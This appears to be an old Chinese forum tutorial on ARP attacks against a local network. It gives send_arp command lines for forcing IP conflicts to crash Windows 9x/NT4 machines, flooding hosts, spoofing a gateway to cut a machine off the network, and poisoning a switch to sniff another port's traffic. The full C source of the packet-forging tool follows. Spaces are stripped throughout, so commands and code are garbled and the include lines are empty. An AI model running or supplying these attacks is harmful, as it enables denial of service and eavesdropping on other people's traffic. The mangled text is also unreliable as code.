以下讨论的机子有
一个要攻击的机子:10.5.4.178
硬件地址:52:54:4C:98:EE:2F
我的机子::10.5.3.69
硬件地址:52:54:4C:98:ED:C5
网关:10.5.0.3
硬件地址:00:90:26:3D:0C:F3
一台交换机另一端口的机子:10.5.3.3
硬件地址:52:54:4C:98:ED:F7
一:用ARP破WINDOWS的屏保
原理:利用IP冲突的级别比屏保高,当有冲突时,就会
跳出屏保。
关键:ARP包的数量适当。
[root@sztcwwtools]#./send_arp10.5.4.17800:90:26:3D:0C:F3
10.5.4.17852:54:4C:98:EE:2F40
二:用ARP导致IP冲突,死机
原理:WINDOWS9X,NT4在处理IP冲突时,处理不过来,导致死机。
注:对WINDOWS2K,LINUX相当于flooding,只是比一般的FLOODING
有效的多.对LINUX,明显系统被拖慢。
[root@sztcwwtools]#./send_arp10.5.4.17800:90:26:3D:0C:F3
10.5.4.17852:54:4C:98:EE:2F999999999
三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。
原理:用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcwwtools]#./send_arp10.5.4.17852:54:4C:98:EE:22
10.5.4.17800:90:26:3D:0C:F31
注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP
高速缓存会被被攻击的机子正确刷新,于是只要...
四:用ARP欺骗交换机,可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FFproto:806H
arphdr
hwtype:1protol:800Hhw_size:6pro_size:4op:1
s_ha:52:54:4C:98:ED:F7s_ip:10.5.3.3
d_ha:00:00:00:00:00:00d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说,“这样其实就是一个竞争问题。”
好象ARP以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响,因为他掉了一部分数据。
当然还有其他一些应用,需要其他技术的配合。
以下是send_arp.c的源程序
/*
ThisprogramsendsoutoneARPpacketwithsource/targetIP
andEthernethardwareaddressessuupliedbytheuser.It
compilesandworksonLinuxandwillprobablyworkonany
UnixthathasSOCK_PACKET.volobuev@t1.chem.umn.edu
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#defineETH_HW_ADDR_LEN6
#defineIP_ADDR_LEN4
#defineARP_FRAME_TYPE0x0806
#defineETHER_HW_TYPE1
#defineIP_PROTO_TYPE0x0800
#defineOP_ARP_REQUEST2
#defineOP_ARP_QUEST1
#defineDEFAULT_DEVICE"eth0"
charusage[]={"send_arp:sendsoutcustomARPpacket.yurivolobuev
usage:send_arpsrc_ip_addrsrc_hw_addrtarg_ip_addrtar_hw_addrnumber"};
structarp_packet
{
u_chartarg_hw_addr[ETH_HW_ADDR_LEN];
u_charsrc_hw_addr[ETH_HW_ADDR_LEN];
u_shortframe_type;
u_shorthw_type;
u_shortprot_type;
u_charhw_addr_size;
u_charprot_addr_size;
u_shortop;
u_charsndr_hw_addr[ETH_HW_ADDR_LEN];
u_charsndr_ip_addr[IP_ADDR_LEN];
u_charrcpt_hw_addr[ETH_HW_ADDR_LEN];
u_charrcpt_ip_addr[IP_ADDR_LEN];
u_charpadding[18];
};
voiddie(char*);
voidget_ip_addr(structin_addr*,char*);
voidget_hw_addr(char*,char*);
intmain(intargc,char*argv[])
{
structin_addrsrc_in_addr,targ_in_addr;
structarp_packetpkt;
structsockaddrsa;
intsock;
intj,number;
if(argc!=6)
die(usage);
sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type=htons(ARP_FRAME_TYPE);
pkt.hw_type=htons(ETHER_HW_TYPE);
pkt.prot_type=htons(IP_PROTO_TYPE);
pkt.hw_addr_size=ETH_HW_ADDR_LEN;
pkt.prot_addr_size=IP_ADDR_LEN;
pkt.op=htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);
get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);
memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for(j=0;j{
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa))<0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
voiddie(char*str)
{
fprintf(stderr,"%s",str);
exit(1);
}
voidget_ip_addr(structin_addr*in_addr,char*str)
{
structhostent*hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr==-1)
{
if((hostp=gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else{
fprintf(stderr,"send_arp:unknownhost%s",str);
exit(1);
}
}
}
voidget_hw_addr(char*buf,char*str)
{
inti;
charc,val;
for(i=0;i<ETH_HW_ADDR_LEN;i++)
{
if(!(c=tolower(*str++)))
die("Invalidhardwareaddress");
if(isdigit(c))
val=c-'0';
elseif(c>='a'&&c<='f')
val=c-'a'+10;
else
die("Invalidhardwareaddress");
*buf=val<<4;
if(!(c=tolower(*str++)))
die("Invalidhardwareaddress");
if(isdigit(c))
val=c-'0';
elseif(c>='a'&&c<='f')
val=c-'a'+10;
else
die("Invalidhardwareaddress");
*buf++|=val;
if(*str==':')
str++;
}
}